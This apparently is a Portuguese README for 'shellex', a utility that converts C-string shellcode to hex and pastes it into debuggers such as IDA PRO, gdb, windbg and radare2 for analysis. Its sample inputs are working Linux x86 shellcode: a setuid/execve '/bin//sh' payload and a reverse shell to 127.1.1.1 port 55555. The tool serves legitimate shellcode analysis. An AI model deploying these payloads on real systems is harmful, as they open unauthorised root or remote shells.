therealdreg/shellexConversor de C-shellcode para hex, ferramenta útil para colar e executar shellcodes no IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger e 010 editor
AVISO: o código mais feio do mundo
Conversor de C-shellcode para hex.
Por favor, considere fazer uma doação: https://github.com/sponsors/therealdreg
Ferramenta útil para colar & executar shellcodes no IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger e 010 editor.
Está com problemas para converter C-shellcodes para HEX (talvez c-comentários+ASCII misturados?)
Aqui está o shellex. Se o shellcode pode ser compilado em um compilador C, o shellex pode convertê-lo.
Basta executar o shellex, colar a string C do shellcode e pressionar ENTER.
Para finalizar, use Control+Z (Windows)/Control+D (Linux)
Convertendo c-shellcode-multi-line-hex+mixed_ascii (preste atenção na parte mista \x68//sh\x68/bin\x89):
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
Saída do shellex:
6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
Convertendo c-shellcode-multi-line-with-comments:
"\x68"
"\x7f\x01\x01\x01" // <- IP: 127.1.1.1
"\x5e\x66\x68"
"\xd9\x03" // <- Porta: 55555
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce"
Saída do shellex:
68 7F 01 01 01 5E 66 68 D9 03 5F 6A 66 58 99 6A 01 5B 52 53 6A 02 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 6A 02 89 E1 6A 10 51 53 89 E1 CD 80 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 EB CE
Precisa da saída do shellex como uma nova string C de shellcode? use o parâmetro -h, exemplo convertendo a saída do shellex:
./shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80
git clone https://github.com/therealdreg/shellex.git
binário:
shellex\bins\shellex.exe
Dependências:
sudo apt-get install tcc
binário:
shellex/linuxbins/shellex
Basta usar meu plugin xshellex:
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
def writebytes(dest, str):
for i, c in enumerate(str):
idc.patch_byte(dest+i, ord(c));
address = idc.get_reg_value("eip")
shellcode = "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"
writebytes(address, shellcode)
print("done!")
Depure um programa no IDA PRO:
Agora você pode depurar o shellcode com F7, mas talvez a janela Disasm mostre o shellcode como db's.
Aqui está a solução:
Pronto! Você pode ver o shellcode desmontado e depurá-lo com F7.
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" > /tmp/sc
Escreva o arquivo binário no ponteiro de instrução atual:
para 32 bits:
restore /tmp/sc binary $eip
x/30b $eip
x/15i $eip
para 64 bits:
restore /tmp/sc binary $rip
x/30b $rip
x/15i $rip
x/30b é o tamanho em bytes do shellcode, você pode obter o tamanho com:
wc -c /tmp/sc
x/15i é o número de instruções a exibir, você pode obter o número correto (talvez) com ndisasm:
sudo apt-get install nasm
Para 32 bits:
ndisasm -b32 /tmp/sc
ndisasm -b32 /tmp/sc | wc -l
Para 64 bits:
ndisasm -b64 /tmp/sc
ndisasm -b64 /tmp/sc | wc -l
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
echo " 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80" | sed "s/ / 0x/g"
Use o comando patch byte:
Para 32 bits:
patch byte $eip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80
Para 64 bits:
patch byte $rip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80
Execute o comando context e verifique se a desmontagem está correta
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
Para 32 bits:
patch $eip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"
Para 64 bits:
patch $rip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"
Execute o comando context e verifique se a desmontagem está correta
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
Para shellcodes pequenos, eb pode ser suficiente, basta usar a saída do shellex com o comando eb (obrigado Axel Souchet @0vercl0k pela dica)
Para 32 bits:
eb @eip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
Para 64 bits:
eb @rip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
echo 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80 > C:\Users\Dreg\sc.hex
certutil -f -decodeHex c:\Users\Dreg\sc.hex c:\Users\Dreg\sc
del C:\Users\Dreg\sc.hex
saída do certutil:
Input Length = 92
Output Length = 30
CertUtil: -decodehex command completed successfully.
O comprimento do nosso shellcode é 30, então use L0n30 no windbg.
Escreva o arquivo binário no ponteiro de instrução atual:
para 32 bits:
.readmem C:\Users\Dreg\sc @eip L0n30
para 64 bits:
.readmem C:\Users\Dreg\sc @rip L0n30
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
Para 32 bits:
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @eip
Para 64 bits:
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @rip
Verifique se o shellcode foi colado corretamente:
Obtenha o tamanho do shellcode em um terminal com:
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" | wc -c
A saída do último comando é 30. Agora use o comando pD no radare2:
pD 30
Convertendo "\x6a\x17\x58\x31\xdb\xcd\x80" no Linux:
echo "\"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\"" | shellex
Convertendo "\x6a\x17\x58\x31\xdb\xcd\x80" no Windows:
echo "\x6a\x17\x58\x31\xdb\xcd\x80" | shellex.exe
Via arquivo de múltiplas linhas no Windows:
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt | shellex.exe
Via arquivo de múltiplas linhas no Linux:
dreg@fr33project# cat sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
dreg@fr33project# cat sc.txt | shellex
Para Windows, use o Visual Studio 2013
Para Linux, apenas:
cd shellex/shellex
gcc -o shellex shellex.c
./shellex